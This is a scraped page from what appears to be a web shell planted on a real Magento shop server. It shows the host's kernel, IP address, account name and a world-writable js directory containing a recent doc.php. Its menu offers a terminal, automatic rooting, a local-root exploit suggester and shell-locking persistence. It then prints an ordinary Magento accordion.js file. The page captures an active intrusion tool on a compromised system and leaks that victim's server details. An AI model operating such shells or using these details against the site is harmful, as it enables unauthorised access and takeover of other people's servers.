Linux host2.homegym.sg 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
Apache
Server IP : 159.223.38.192 & Your IP : 159.223.38.192
Domains : 20 Domain
User : eachadea
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Lock Shell
Lock File++
Readme
/
home /
eachadea /
public_html /
homegym.my /
js /
varien /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
127
B
-r--r--r--
2025-10-31 01:03
accordion.js
3.9
KB
-rw-rw-rw-
2019-06-20 14:00
configurable.js
10.92
KB
-rw-rw-rw-
2019-06-20 14:00
doc.php
12.56
KB
-rw-r--r--
2025-10-28 12:41
form.js
13.95
KB
-rw-rw-rw-
2019-06-20 14:00
iehover-fix.js
2.13
KB
-rw-rw-rw-
2019-06-20 14:00
js.js
22.21
KB
-rw-rw-rw-
2019-06-20 14:00
menu.js
4.32
KB
-rw-rw-rw-
2019-06-20 14:00
payment.js
2.66
KB
-rw-rw-rw-
2019-06-20 14:00
product.js
29.84
KB
-rw-rw-rw-
2019-06-20 14:00
telephone.js
4.1
KB
-rw-rw-rw-
2019-06-20 14:00
weee.js
1.29
KB
-rw-rw-rw-
2019-06-20 14:00
Save
Rename
/** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License (AFL 3.0) * that is bundled with this package in the file LICENSE_AFL.txt. * It is also available through the world-wide-web at this URL: * http://opensource.org/licenses/afl-3.0.php * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@magentocommerce.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade Magento to newer * versions in the future. If you wish to customize Magento for your * needs please refer to http://www.magentocommerce.com for more information. * * @category Varien * @package js * @copyright Copyright (c) 2014 Magento Inc. (http://www.magentocommerce.com) * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) */ Accordion = Class.create(); Accordion.prototype = { initialize: function(elem, clickableEntity, checkAllow) { this.container = $(elem); this.checkAllow = checkAllow || false; this.disallowAccessToNextSections = false; this.sections = $$('#' + elem + ' .section'); this.currentSection = false; var headers = $$('#' + elem + ' .section ' + clickableEntity); headers.each(function(header) { Event.observe(header,'click',this.sectionClicked.bindAsEventListener(this)); }.bind(this)); }, sectionClicked: function(event) { this.openSection($(Event.element(event)).up('.section')); Event.stop(event); }, openSection: function(section) { var section = $(section); // Check allow if (this.checkAllow && !Element.hasClassName(section, 'allow')){ return; } if(section.id != this.currentSection) { this.closeExistingSection(); this.currentSection = section.id; $(this.currentSection).addClassName('active'); var contents = Element.select(section, '.a-item'); contents[0].show(); //Effect.SlideDown(contents[0], {duration:.2}); if (this.disallowAccessToNextSections) { var pastCurrentSection = false; for (var i=0; i<this.sections.length; i++) { if (pastCurrentSection) { Element.removeClassName(this.sections[i], 'allow') } if (this.sections[i].id==section.id) { pastCurrentSection = true; } } } } }, closeSection: function(section) { $(section).removeClassName('active'); var contents = Element.select(section, '.a-item'); contents[0].hide(); //Effect.SlideUp(contents[0]); }, openNextSection: function(setAllow){ for (section in this.sections) { var nextIndex = parseInt(section)+1; if (this.sections[section].id == this.currentSection && this.sections[nextIndex]){ if (setAllow) { Element.addClassName(this.sections[nextIndex], 'allow') } this.openSection(this.sections[nextIndex]); return; } } }, openPrevSection: function(setAllow){ for (section in this.sections) { var prevIndex = parseInt(section)-1; if (this.sections[section].id == this.currentSection && this.sections[prevIndex]){ if (setAllow) { Element.addClassName(this.sections[prevIndex], 'allow') } this.openSection(this.sections[prevIndex]); return; } } }, closeExistingSection: function() { if(this.currentSection) { this.closeSection(this.currentSection); } } }